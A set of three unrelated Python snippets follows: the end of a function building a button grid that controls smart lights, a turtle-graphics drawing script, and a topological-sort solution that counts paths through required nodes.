    foreground_layer.insert(Button("toggle ui", Position(15, 7), actions={
        Button.ActionEnum.UP: _ToggleUI(grid),
    }))

    # some shortcuts:
    foreground_layer.insert(Button("off *", Position(0, 7), actions={
        Button.ActionEnum.UP: actions.Lightsd(
            requests=[requests.PowerOff], targets=["*"]
        )
    }))
    foreground_layer.insert(Button("on *", Position(1, 7), actions={
        Button.ActionEnum.UP: actions.Lightsd(
            requests=[requests.PowerOn], targets=["*"]
        )
    }))
    foreground_layer.insert(
        Button("4000k kitchen", Position(2, 7), actions={
            Button.ActionEnum.UP: actions.Lightsd(requests=[
                functools.partial(
                    requests.SetLightFromHSBK,
                    ["neko"], 0.0, 0.0, 1.0, 4000, 1000,
                ),
                functools.partial(requests.PowerOn, ["neko"]),
            ])
        })
    )
    foreground_layer.insert(Button("orange", Position(3, 7), actions={
        Button.ActionEnum.UP: actions.Lightsd(requests=[
            functools.partial(
                requests.SetLightFromHSBK,
                ["#tower"], 37.469443, 1.0, 0.25, 3500, 600,
            ),
            functools.partial(
                requests.SetLightFromHSBK,
                ["fugu"], 47.469443, 0.2, 0.1, 3500, 600,
            ),
            functools.partial(
                requests.SetLightFromHSBK,
                ["candle"], 47.469443, 0.2, 0.15, 3500, 600,
            ),
            functools.partial(requests.PowerOn, ["#br"])
        ]),
    }))
    foreground_layer.insert(Button("blue", Position(4, 7), actions={
        Button.ActionEnum.UP: actions.Lightsd(requests=[
            functools.partial(
                requests.SetLightFromHSBK,
                ["#tower"], 163.237354, 0.923552, 0.25, 3500, 600,
            ),
            functools.partial(
                requests.SetLightFromHSBK,
                ["fugu"], 47.469443, 0.2, 0.1, 3500, 600,
            ),
            functools.partial(
                requests.SetLightFromHSBK,
                ["candle"], 47.469443, 0.2, 0.15, 3500, 600,
            ),
            functools.partial(requests.PowerOn, ["#br"])
        ]),
    }))
    foreground_layer.insert(PowerButton(
        "#br", Position(5, 7), targets=["#br"]
    ))
    foreground_layer.insert(PowerButton(
        "white", Position(6, 7), targets=["white"]
    ))

    # some control blocks:
    BulbControlPad = functools.partial(
        groups.BulbControlPad, sliders_size=Dimensions(width=1, height=6),
    )
    foreground_layer.insert(BulbControlPad(
        "kitchen control", Position(0, 0), targets=["neko"],
    ))
    foreground_layer.insert(BulbControlPad(
        "#tower control", Position(4, 0), targets=["#tower"],
    ))
    foreground_layer.insert(BulbControlPad(
        "fugu control", Position(8, 0), targets=["fugu"],
    ))
#   foreground_layer.insert(BulbControlPad(
#       "candle control", Position(12, 0), targets=["candle"],
#   ))

    return foreground_layer


import turtle
import random

screen = turtle.Screen()

t =  turtle.Turtle('turtle')

t.shapesize(2,2)
t.color('red')
t.pendown()

colors = [ 'green', 'yellow', 'blue', 'black', 'pink']

random.seed()

for i in range(15):
    t.forward(40)
    t.left(30)
    t.color( random.choice(colors) )
    t.begin_fill()
    t.circle(20)
    t.end_fill()

turtle.done()


from collections import defaultdict, deque

def topo_sort(graph: dict, deg: dict) -> list:
    queue = deque([])
    for v in graph:
        if deg[v] == 0:
            queue.append(v)
    ordered = []

    while queue:
        node = queue.popleft()
        ordered.append(node)
        for v in graph[node]:
            deg[v] -= 1
            if deg[v] == 0:
                queue.append(v)
    return ordered

def count_paths(graph: defaultdict, order: list, src: int, dst: int, must: set) -> int:
    temp = defaultdict(int)
    temp[src] = 1
    count = 1
    for node in order:
        if node in must:
            count = (count * temp[node]) % 20230419
            if count == 0:
                return count
            temp = defaultdict(int)
            temp[node] = 1
        if node == dst:
            count = (count * temp[node]) % 20230419
            return count
        for v in graph[node]:
            temp[v] += temp[node]
    return count

def main():
    T = int(input())
    for _ in range(T):
        N, M = map(int, input().split())
        sects = {v: set() for v in range(N)}
        deg = {v: 0 for v in range(N)}
        for _ in range(M):
            u, v = map(int, input().split())
            sects[u].add(v)
            deg[v] += 1
        S, E, K = map(int, input().split())
        must = set(map(int, input().split()))
        topo = topo_sort(sects, deg)
        print(count_paths(sects, topo, S, E, must))

if __name__ == '__main__':
    main()